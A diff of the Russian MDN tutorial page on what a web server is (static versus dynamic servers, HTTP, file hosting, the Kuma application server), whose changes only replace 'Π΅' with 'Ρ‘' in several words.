+<p>На самом Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½ΡƒΠΆΠ΅Π½ Ρ„Π°ΠΉΠ», Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π½Π° Π²Π΅Π±-сСрвСрС, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΅Π³ΠΎ Ρ‡Π΅Ρ€Π΅Π· HTTP-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Когда запрос достигаСт Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π²Π΅Π±-сСрвСра ("ΠΆΠ΅Π»Π΅Π·ΠΎ"), сСрвСр HTTP (ПО) ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ запрос, Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Β Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ (Ссли Π½Π΅Ρ‚, Ρ‚ΠΎ сообщаСт об ошибкС <a href="/ru/docs/Web/HTTP/Status/404">404</a>)Β ΠΈ отправляСт ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, Ρ‚Π°ΠΊΠΆΠ΅ Ρ‡Π΅Ρ€Π΅Π· HTTP.</p>
<p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайт, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Π»ΠΈΠ±ΠΎ статичСский, Π»ΠΈΠ±ΠΎ динамичСский Π²Π΅Π±-сСрвСр.</p>
-<p><strong>БтатичСский Π²Π΅Π±-сСрвСр</strong>, ΠΈΠ»ΠΈ стСк, состоит ΠΈΠ· ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ("ΠΆΠ΅Π»Π΅Π·ΠΎ") с сСрвСром HTTP (ПО). ΠœΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ это <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>статикой<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСрвСр посылаСт Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>.</p>
+<p><strong>БтатичСский Π²Π΅Π±-сСрвСр</strong>, ΠΈΠ»ΠΈ стСк, состоит ΠΈΠ· ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ("ΠΆΠ΅Π»Π΅Π·ΠΎ") с сСрвСром HTTP (ПО). ΠœΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ это <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>статикой<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСрвСр посылаСт Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>.</p>
<p><strong>ДинамичСский Π²Π΅Π±-сСрвСр</strong> состоит ΠΈΠ· статичСского Π²Π΅Π±-сСрвСра ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, Ρ‡Π°Ρ‰Π΅ всСго <em>сСрвСра прилоТСния </em>ΠΈ <em>Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</em>. ΠœΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>динамичСским<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСрвСр ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ измСняСт исходныС Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Π² ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎ HTTP.</p>
@@ -56,17 +56,17 @@ original_slug: Learn/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π²Π΅Π±_сСрвСр
<h2 id="ΠŸΠΎΠ³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡΡ_Π³Π»ΡƒΠ±ΠΆΠ΅">ΠŸΠΎΠ³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡΡ Π³Π»ΡƒΠ±ΠΆΠ΅</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π²Π΅Π±-страницу, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ, ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отправляСт запрос ΠΊ Π²Π΅Π±-сСрвСру, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ приступаСт ΠΊ поиску Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° Π² своСм собствСнном пространствС памяти. Найдя Ρ„Π°ΠΉΠ», сСрвСр считываСт Π΅Π³ΠΎ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π΅ΠΌΡƒ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΈ отсылаСт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим эти шаги Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π²Π΅Π±-страницу, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ, ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отправляСт запрос ΠΊ Π²Π΅Π±-сСрвСру, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ приступаСт ΠΊ поиску Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° Π² своём собствСнном пространствС памяти. Найдя Ρ„Π°ΠΉΠ», сСрвСр считываСт Π΅Π³ΠΎ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π΅ΠΌΡƒ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΈ отсылаСт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим эти шаги Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
<h3 id="Π₯остинг_Ρ„Π°ΠΉΠ»ΠΎΠ²">Π₯остинг Ρ„Π°ΠΉΠ»ΠΎΠ²</h3>
<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π²Π΅Π±-сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π²Π΅Π±-сайта, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ всС HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ связанныС с Π½ΠΈΠΌΠΈ рСсурсы, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ изобраТСния, CSS-стили, JavaScript-Ρ„Π°ΠΉΠ»Ρ‹, ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ.</p>
-<p>ВСхничСски, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ всС эти Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π²Π΅Π±-сСрвСрС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ:</p>
+<p>ВСхничСски, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ всС эти Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π²Π΅Π±-сСрвСрС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ:</p>
<ul>
<li>всСгда Π·Π°ΠΏΡƒΡ‰Π΅Π½ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚</li>
- <li>всСгда ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ</li>
+ <li>всСгда ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ</li>
<li>ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΉ IP адрСс (Π½Π΅ всС {{Glossary("ISP", "ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹")}} ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ статичСский IP-адрСс для домашнСго ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ)</li>
<li>обслуТиваСтся Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ, стороннСй ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠ΅ΠΉ</li>
</ul>
@@ -85,10 +85,10 @@ original_slug: Learn/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π²Π΅Π±_сСрвСр
<dt><strong>ВСкстовый</strong></dt>
<dd>ВсС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ простым Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ тСкстом.</dd>
<dt><strong>НС сохраняСт состояниС</strong></dt>
- <dd>Ни ΠΊΠ»ΠΈΠ΅Π½Ρ‚, Π½ΠΈ сСрвСр Π½Π΅ помнят ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… соСдинСниях. НапримСр, ΠΎΠΏΠΈΡ€Π°ΡΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° HTTP, сСрвСр Π½Π΅ смоТСт Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ Π½Π° ΠΊΠ°ΠΊΠΎΠΌ шагС Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ. Для Ρ‚Π°ΠΊΠΈΡ… Π·Π°Π΄Π°Ρ‡, Π²Π°ΠΌ потрСбуСтся сСрвСр прилоТСния.Β (ΠœΡ‹ остановимся Π½Π° этих тСхнологиях Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….)</dd>
+ <dd>Ни ΠΊΠ»ΠΈΠ΅Π½Ρ‚, Π½ΠΈ сСрвСр Π½Π΅ помнят ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… соСдинСниях. НапримСр, ΠΎΠΏΠΈΡ€Π°ΡΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° HTTP, сСрвСр Π½Π΅ смоТСт Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈΠ»ΠΈ Π½Π° ΠΊΠ°ΠΊΠΎΠΌ шагС Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ. Для Ρ‚Π°ΠΊΠΈΡ… Π·Π°Π΄Π°Ρ‡, Π²Π°ΠΌ потрСбуСтся сСрвСр прилоТСния.Β (ΠœΡ‹ остановимся Π½Π° этих тСхнологиях Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….)</dd>
</dl>
-<p>HTTP Π·Π°Π΄Π°Π΅Ρ‚ строгиС правила взаимодСйствия клиСнта ΠΈ сСрвСра. ΠœΡ‹ рассмотрим сам ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTP Π² <a href="/ru/docs/Web/HTTP">тСхничСской ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ·Π΄Π½Π΅Π΅. Пока достаточно Π·Π½Π°Ρ‚ΡŒ ΠΎΠ± этих ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ…:</p>
+<p>HTTP Π·Π°Π΄Π°Ρ‘Ρ‚ строгиС правила взаимодСйствия клиСнта ΠΈ сСрвСра. ΠœΡ‹ рассмотрим сам ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTP Π² <a href="/ru/docs/Web/HTTP">тСхничСской ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ·Π΄Π½Π΅Π΅. Пока достаточно Π·Π½Π°Ρ‚ΡŒ ΠΎΠ± этих ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ…:</p>
<ul>
<li>Π˜ΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ <em>ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹</em> ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ HTTP-запросы, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° <em>сСрвСра</em>. Π‘Π΅Ρ€Π²Π΅Ρ€Π° способны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π° HTTP-<em>запросы ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°</em>.</li>
@@ -106,13 +106,13 @@ original_slug: Learn/Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π²Π΅Π±_сСрвСр
<h2 id="БтатичСский_ΠΈ_ДинамичСский_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">БтатичСский ΠΈ ДинамичСский ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</h2>
-<p>Π“Ρ€ΡƒΠ±ΠΎ говоря, сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π΄Π°Π²Π°Ρ‚ΡŒ статичСскоС ΠΈΠ»ΠΈ динамичСскоС содСрТимоС.<strong> </strong><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>БтатичСскоС<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>отдаСтся ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>. БтатичСскиС Π²Π΅Π±-сайты Π΄Π΅Π»Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΡ‰Π΅ всСго, поэтому ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ свой ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ сайт статичСским.</p>
+<p>Π“Ρ€ΡƒΠ±ΠΎ говоря, сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π΄Π°Π²Π°Ρ‚ΡŒ статичСскоС ΠΈΠ»ΠΈ динамичСскоС содСрТимоС.<strong> </strong><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>БтатичСскоС<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>отдаётся ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span>. БтатичСскиС Π²Π΅Π±-сайты Π΄Π΅Π»Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΡ‰Π΅ всСго, поэтому ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ свой ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ сайт статичСским.</p>
<p><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β«</span>ДинамичСскоС<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Β»</span> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡ… Π½Π° Π»Π΅Ρ‚Ρƒ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ обСспСчиваСт Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ, Π½ΠΎ тСхничСски слоТнСС Π² Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ обслуТивании,Β ΠΈΠ·-Π·Π° Ρ‡Π΅Π³ΠΎ процСсс создания сайта ΠΎΡ‡Π΅Π½ΡŒ сильно услоТняСтся.</p>
-<p>Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌΒ Π΄Π»Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° страницу, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ сСйчас Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅. На Π²Π΅Π±-сСрвСрС, Π³Π΄Π΅Β ΠΎΠ½Π° хостится, Π΅ΡΡ‚ΡŒ сСрвСр прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ содСрТимоС ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ, добавляСт Π² HTML-ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈ отправляСт Π²Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Π’ нашСм случаС, сСрвСр прилоТСния называСтся <a href="/en-US/docs/MDN/Kuma">Kuma</a>, написан ΠΎΠ½ Π½Π° языкС программирования <a href="https://www.python.org/">Python</a> (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ <a href="https://www.djangoproject.com/">Django</a>). Команда Mozilla создала <cite>Kuma</cite> для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π½ΡƒΠΆΠ΄ MDN, Π½ΠΎ Π΅ΡΡ‚ΡŒ мноТСство ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, построСнных ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… тСхнологиях.</p>
+<p>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌΒ Π΄Π»Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° страницу, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ сСйчас Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅. На Π²Π΅Π±-сСрвСрС, Π³Π΄Π΅Β ΠΎΠ½Π° хостится, Π΅ΡΡ‚ΡŒ сСрвСр прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ содСрТимоС ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ, добавляСт Π² HTML-ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈ отправляСт Π²Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Π’ нашСм случаС, сСрвСр прилоТСния называСтся <a href="/en-US/docs/MDN/Kuma">Kuma</a>, написан ΠΎΠ½ Π½Π° языкС программирования <a href="https://www.python.org/">Python</a> (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ <a href="https://www.djangoproject.com/">Django</a>). Команда Mozilla создала <cite>Kuma</cite> для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π½ΡƒΠΆΠ΄ MDN, Π½ΠΎ Π΅ΡΡ‚ΡŒ мноТСство ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, построСнных ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… тСхнологиях.</p>
